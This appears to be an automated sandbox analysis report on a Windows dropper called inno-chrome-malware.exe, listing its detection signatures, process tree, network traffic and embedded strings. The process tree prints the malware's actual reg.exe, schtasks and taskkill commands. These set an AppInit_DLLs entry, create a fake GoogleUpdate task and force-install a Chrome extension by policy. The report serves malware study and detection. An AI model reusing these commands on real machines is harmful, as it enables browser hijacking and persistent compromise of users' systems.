Edit tour

Windows Analysis Report
inno-chrome-malware.exe

Overview

General Information

Sample Name:	inno-chrome-malware.exe
Analysis ID:	801015
MD5:	0cc5612e909e1df2c53ae56ad258bb21
SHA1:	f134a96132867224b2e0a0a06a6e21714de859d7
SHA256:	87c79d29737dca30e36aac1c90ac3eab82f71393b815a9d7c086565e257fd434
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Uses cmd line tools excessively to alter registry or file data

Modifies Chrome's extension installation force list

Obfuscated command line found

Creates an undocumented autostart registry key

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Too many similar processes found

JA3 SSL client fingerprint seen in connection with other malware

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Sample file is different than original file name gathered from version info

Drops PE files

Tries to load missing DLLs

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

PE / OLE file has an invalid certificate

Installs a Chrome extension

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

inno-chrome-malware.exe (PID: 1780 cmdline: C:\Users\user\Desktop\inno-chrome-malware.exe MD5: 0CC5612E909E1DF2C53AE56AD258BB21)

inno-chrome-malware.tmp (PID: 2128 cmdline: "C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp" /SL5="$70268,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe" MD5: 5CC651D1EED82AC69EC98EF51925D614)

inno-chrome-malware.exe (PID: 5264 cmdline: "C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT MD5: 0CC5612E909E1DF2C53AE56AD258BB21)

inno-chrome-malware.tmp (PID: 1228 cmdline: "C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp" /SL5="$30384,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT MD5: 5CC651D1EED82AC69EC98EF51925D614)

cmd.exe (PID: 5260 cmdline: C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\ServiceApp\install.bat" install MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 1312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 676 cmdline: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\Windows\system32\sxsext.dll" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 2064 cmdline: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f MD5: E3DACF0B31841FA02064B4457D44B357)

InstallExtension.exe (PID: 2192 cmdline: "C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe" install MD5: 8C97466E3871F11B2E4164D57815935A)

cmd.exe (PID: 1920 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" " MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 2244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 1888 cmdline: schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

cmd.exe (PID: 1348 cmdline: C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\ServiceApp\reg.bat" install MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5996 cmdline: schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

chrome.exe (PID: 5308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://getfiles.wiki/welcome.php MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 2128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1888 --field-trial-handle=1760,i,6059674073943938920,670847644156187384,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

InstallExtension.exe (PID: 5856 cmdline: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe MD5: 8C97466E3871F11B2E4164D57815935A)

cmd.exe (PID: 6456 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" " MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 6592 cmdline: REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6636 cmdline: REG DELETE HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6664 cmdline: REG DELETE HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6876 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 7028 cmdline: REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 7156 cmdline: REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 3276 cmdline: REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 4664 cmdline: REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6404 cmdline: REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f MD5: E3DACF0B31841FA02064B4457D44B357)

taskkill.exe (PID: 6820 cmdline: taskkill /F /IM chrome.exe /T MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

chrome.exe (PID: 6804 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1948 --field-trial-handle=1836,i,18200466452915186121,16294735277586794674,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

timeout.exe (PID: 5616 cmdline: timeout 5 MD5: EB9A65078396FB5D4E3813BB9198CB18)

reg.exe (PID: 3144 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 3276 cmdline: REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

timeout.exe (PID: 2344 cmdline: timeout 5 MD5: EB9A65078396FB5D4E3813BB9198CB18)

taskkill.exe (PID: 6828 cmdline: taskkill /F /IM chrome.exe /T MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

chrome.exe (PID: 6640 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1976 --field-trial-handle=1836,i,11312616248427942103,4316635521105666888,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

InstallExtension.exe (PID: 396 cmdline: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe MD5: 8C97466E3871F11B2E4164D57815935A)

cmd.exe (PID: 5772 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" " MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 5172 cmdline: REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6784 cmdline: REG DELETE HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6412 cmdline: REG DELETE HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 5992 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6168 cmdline: REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6200 cmdline: REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6744 cmdline: REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6272 cmdline: REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6244 cmdline: REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f MD5: E3DACF0B31841FA02064B4457D44B357)

taskkill.exe (PID: 6248 cmdline: taskkill /F /IM chrome.exe /T MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

chrome.exe (PID: 6336 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 4604 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1808,i,2020482620358884493,2318261936585416733,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

timeout.exe (PID: 1524 cmdline: timeout 5 MD5: EB9A65078396FB5D4E3813BB9198CB18)

reg.exe (PID: 6296 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6404 cmdline: REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f MD5: E3DACF0B31841FA02064B4457D44B357)

timeout.exe (PID: 6632 cmdline: timeout 5 MD5: EB9A65078396FB5D4E3813BB9198CB18)

taskkill.exe (PID: 2224 cmdline: taskkill /F /IM chrome.exe /T MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

chrome.exe (PID: 6172 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1840,i,16202661095772921985,17311311684622988209,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

InstallExtension.exe (PID: 6568 cmdline: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe MD5: 8C97466E3871F11B2E4164D57815935A)

cmd.exe (PID: 6348 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" " MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 5592 cmdline: REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f MD5: E3DACF0B31841FA02064B4457D44B357)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: inno-chrome-malware.exe

Virustotal: Detection: 42%

Perma Link

Source: inno-chrome-malware.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9415_none_08e0c10ba840a28a\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.184.100:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.100:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp

Directory created: C:\Program Files\WinApps

Jump to behavior

Source: inno-chrome-malware.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

Code function: 8_2_00007FF786B21160 ??$?H_WU?$char_traits@_W@std@@V?$allocator@_W@1@@std@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@0@AEBV10@PEB_W@Z,FindFirstFileW,??$?H_WU?$char_traits@_W@std@@V?$allocator@_W@1@@std@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@0@AEBV10@PEB_W@Z,??$?H_WU?$char_traits@_W@std@@V?$allocator@_W@1@@std@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@0@AEBV10@0@Z,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,GetFileAttributesW,??0?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@PEB_W@Z,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,printf,??0?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@PEB_W@Z,?find@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEBA_KPEB_W_K@Z,??$?H_WU?$char_traits@_W@std@@V?$allocator@_W@1@@std@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@0@AEBV10@PEB_W@Z,??$?H_WU?$char_traits@_W@std@@V?$allocator@_W@1@@std@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@0@AEBV10@0@Z,??$?H_WU?$char_traits@_W@std@@V?$allocator@_W@1@@std@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@0@AEBV10@PEB_W@Z,??$?H_WU?$char_traits@_W@std@@V?$allocator@_W@1@@std@@YA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@0@AEBV10@0@Z,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,GetFileAttributesW,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,FindNextFileW,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QEAA@XZ,

8_2_00007FF786B21160

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 07 Feb 2023 23:06:15 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/chromewebstore/2Content-Security-Policy: script-src 'report-sample' 'nonce-CAn0mZftLg7C2DCZTef0Tw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';worker-src 'self';report-uri /webstore/cspreportCross-Origin-Opener-Policy: same-origin-allow-popups; report-to="coop_chromewebstore"Report-To: {"group":"coop_chromewebstore","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/chromewebstore"}]}Server: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffSet-Cookie: NID=511=jdr6oqVyMqmlvsdCc0tej7gtU-onqEK8NfqDDrpt64hEIu42fMYGwtEmyw8LGtAXIECNpmF6mvlJu9AR8iI1dfuWwpXDcmOMW5HP_fDv_zfuh_Mmc1vwNrb3zIN7wHr3jcwZyhYEis2ipOUV1dJREP_lVBNtqao_z6Q9NwWtkOU; expires=Wed, 09-Aug-2023 23:06:15 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=noneAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Accept-Ranges: noneVary: Accept-EncodingConnection: closeTransfer-Encoding: chunked

Source: inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	String found in binary or memory: http://aia.entrust.net/evcs2-chain.p7c01
Source: inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	String found in binary or memory: http://crl.entrust.net/csbr1.crl0
Source: inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	String found in binary or memory: http://crl.entrust.net/evcs2.crl0
Source: inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	String found in binary or memory: http://ocsp.entrust.net01
Source: inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	String found in binary or memory: http://www.entrust.net/rpa0
Source: inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089E000.00000004.00000020.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000003.316747740.0000000002581000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000003.316747740.0000000002533000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089A000.00000004.00000020.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000003.316659003.00000000037E6000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000003.316747740.0000000002572000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://getfiles.wiki/welcome.php
Source: inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getfiles.wiki/welcome.php5
Source: inno-chrome-malware.tmp, 00000003.00000003.316057965.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getfiles.wiki/welcome.phpC:
